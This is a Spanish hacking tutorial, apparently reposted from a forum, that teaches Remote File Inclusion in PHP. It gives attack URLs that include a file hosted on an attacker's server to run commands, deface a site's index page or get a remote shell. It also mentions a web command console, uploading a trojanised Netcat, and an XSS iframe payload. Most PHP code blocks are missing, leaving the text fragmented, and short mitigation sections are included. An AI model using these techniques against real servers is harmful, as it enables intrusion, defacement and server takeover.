RFI (Remote File Inclusion)RFI (Remote File Inclusion), traducido al español como Inclusión Remota de Archivos - vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene la función include(). Este tipo de vulnerabilidad no se da en páginas programas en ASP o en cualquier otro tipo de lenguaje similar que no contenga la posibilidad de la inclusión remota de archivos ajenos al servidor. Resumen del ataqueLas funciones include, include_once, require, require_once son utilizadas para incluir en una misma página otras páginas a la vez, por la necesidad de utilizar un código fuente o por otras diversas razones de programación. Una página vulnerable que presente un aspecto similar a este en su URL: http://[servidor_victima]/index.php?page=plantilla.html El atacante podrá obtener una Shell en el servidor vulnerable mediante lo siguiente: http://[servidor_victima]/index.php?page=http://[servidor_atacante]/shell.txt&&cmd=ls Pudiendo contener el archivo shell.txt cualquier código, por ejemplo: <? El archivo debe tener una extensión distinta a cualquier otra que se pueda ejecutar en el servidor del atacante (.txt,.gif, etc), una extensión ".php" no sería válida, ya que en el servidor víctima al incluir el fichero con extensión.php se estaría ejecutando antes el código php en el servidor del atacante; recordemos que el código php se ejecuta en el servidor y el usuario solo puede ver el resultado, es por esto que el código del script malicioso debe ir con una extensión distinta, ya que la función include, require, require_once, include_once ejecutaría el código php contenido en el fichero que se pasa como parámetro a la función, sin importar la extensión que tenga. Lo que la víctima incluye en su página son secciones que se pasan a la variable page segun el ejemplo anterior <? Detener el ataquePara detener este tipo de ataques, el programador debe filtrar correctamente la variable ejemplo: <? ó <? ó <? Prevenir el Ataque
De esta forma no podría utilizar la variable page para RFI.. aunque nos podria hacer vulnerables a que un atacante incluya archivos en el servidor donde estamos. Otra Solución
<? Con este código evitas este tipo de ataques, que son fáciles de solucionar pero que muchos programadores no se dan cuenta o no dan importancia. RFI Capítulo 1: Introduccion a Remote File Inclusion.Hola, hoy vais a aprender a explotar la vulnerabilidad Remote File Inclusion (RFI), esta vulnerabilidad no afecta solamente a la seguridad de los usuarios sino también la del servidor ya que nos permite modificar archivos de la pagina, pero antes pondré la solución al ejercicio del capítulo anterior, se que era demasiado fácil pero tengo muy poca imanación xD. Como ya he dicho antes no tenia ninguna dificultad. La web decía que el código que habías escrito era invisible, es cierto, el código estaba dentro de una caja de texto de tipo hidden, así: <form> Ahora solo tenemos que cerrar la caja de texto "invisible" y el texto quedara fuera de ella. Antes de pasar al RFI quiero decir una cosa sobre el XSS que se me olvido decir en el anterior capitulo. En algunas webs, sobretodo en foros y libros de visitas, no se permite usar la etiqueta <script></script> pero podemos hacer el uso de otras etiquetas para incluir código, como la etiqueta <iframe> que permite contener otra web dentro de ella. Podemos hacer un código como este: <iframe src="http://www.miweb.com/codigomalicioso.html"></iframe> Ahora que ya sabemos lo mas básico sobre XSS pasaremos a aprender a explotar la vulnerabilidad RFI. Estos son los materiales y conocimientos necesarios: 1- Esta vez si necesitaremos un servidor web con php. 2- Es lógico que también es necesario saber php. 3- Y por supuesto también hay que tener ganas de aprender. Esto es todo, empecemos! Esta vulnerabilidad como su nombre indica se trata de incluir archivos remotos en documentos hechos en php. La función "include();" de php permite incluir archivos dentro del mismo documento como si fuesen parte del texto, esta función se puede usar de dos formas: Código:
Esta vulnerabilidad se suele encontrar en webs que usan esta función en los enlaces. Por ejemplo imaginemos una web que muestra un la publicidad, el logo, la parte donde se muestra el contenido principal y un menú. En el menú hay enlaces para moverse por el interior de la web, pero estos enlaces no llevan a otra web lo que hacen es que cambian el valor de la variable de "include($var);", nosotros podemos modificar ese valor como queramos y incluir dentro un documento con el código que queramos. Si tenéis server web con php instalado usar este código para hacer pruebas (no puedo subir el codigo a la web de pruebas porque mediante esta vulnerabilidad podríais borrar los demás ejemplos o incluir algún código malicioso) Código de index.html <HTML>No pondre el codigo de "hola.html" ni el de "adios.html" porque puede ser cualquier tonteria sin inportancia. Codigo de rfi.php <?php Ahora si queremos incluir un archivo solo tenemos que hacer: http://www.webvuln.es/fri.php?cont=http://www.miweb.com/code.txt Tehabras dado cuenta que hemos incluido un archivo .txt, eso es porque si incluimos un archivo .php se ejecutaria en el server onde esta el archivo y no en el de la web vulnerable, así que podríamos incluir un archivo de esta formaí: code.txt: <?php Aquí acabamos en el próximo capitulo veremos como crear una shell remota con esta vulnerabilidad. Ejercicio: Ya he dicho antes que no podía subir las pruebas de RFI, así que como ejercicio les dejo que intenten modificar el index de la prueba que hemos hecho antes aprovechandose del la Vulnerabilidad. En el siguiente capitulo os dire la respuesta. RFI Capítulo 2: Remote File Inclusion.Como modificar un archivo mediante un RFI : ¡No seais lammers y no os deifiquéis a destruir servidores que no son vuestrosNo es nada complicado, ya que lo único que hay que saber es manejar archivos con php. Utilizaremos el ejemplo del anterior capitulo: <?php Solo tendríamos que crear un archivo que cambie el contenido de index.html, subirlo a un servidor web y incluirlo dentro de la web vulnerable. El archivo que modifica el index podría ser algo así: vuln.txt (como ya vimos no podemos usar extensión .php): <?php Para incluirlo solo tendríamos que hacer así: http://www.webvulnerable.com/rfi.php?cont=http://www.nuestrositio.net/vuln.txt Como podéis comprobar esto es muy fácil, ahora veremos como obtener una shell remota a traves de esta Vulnerabilidad. Para usar comandos de la shell se usan las funciones system(); y exec(); (muchas webs los tienen desactivados por seguridad), por ejemplo si la web esta bajo una plataforma windows podríamos usar este código para ver el contenido de una carpeta con nombre "datos" dentro del server: code.txt <?php Como veis es muy fácil solo hay que saber usar la shell de cada plataforma.Yo solo se usar la de windows, aunque es preferible saber usar la de linux, ya que la gran mayoría de servers se usan bajo una plataforma linux. Aquí os dejos algunos comandos de cada una: -Para windows os dejo mi totoral de programacion BATCH, donde se explican bastantes comandos de la shell de windows: http://foro.elhacker.net/index.php/topic,167525.0.html -Para linux pondré una lista de los comandos mas básicos sacada de un totoral de FRI que leí hecho por n3c0: Comandos útiles: tar -cf backup.tar directorio --->Respaldar un directorio CD ---> Comando que nos permite saltar de un directorio a otro LS ---> Comando que nos permitira obtener un listado de los archivos del directorio CAT ---> Sirve para visualizar la estructura y codigo de un archivo WGET URL ---> Comando para tranferir (subir) archivos curl -O url ---> Comando para tranferir (subir) archivos -opcion 2- RM archivo---> Sirve para eliminar archivos MKDIR directorio ---> Con esto creamos un directorio TOUCH ---> Creamos un archivo CP ---> Copiar ./archivo ---> Ejecutar Aquí les dejo también un programa en php que acabo de crear para enviar comandos a la consola: <html> Creo que este codigo es facil de comprender, si no lo comprendeis lo explicare brebemente. El formulario envia el comando a esta misma pagina, que se llama "cmd.php".Se mira si tiene algo escrito, si lo tiene ejecuta el comando y escribe en la pantalla el resultado que se obtiene, si no hay nada escrito en el comando simplemente escribe que no has escrito ningun comando. Seguramente muchos preferiran una consola normal antes que este programa, pues solo tendriamos que subir el Netcat troyanizado mediante TFTP, ejecutarlo y ya tenemos nuestra shell. Creo que ya he explicado lo suficiente sobre RFI. Saludos! Autor: zhynar_X Fuente Original: Información extraida del tutorial de Introduccion Bugs a nivel Web de zhynar_X: http://foro.elhacker.net/bugs_y_exploits/taller_introduccion_a_los_bugs_a_nivel_web-t173509.0.html |
Bugs y Exploits > Nivel Web >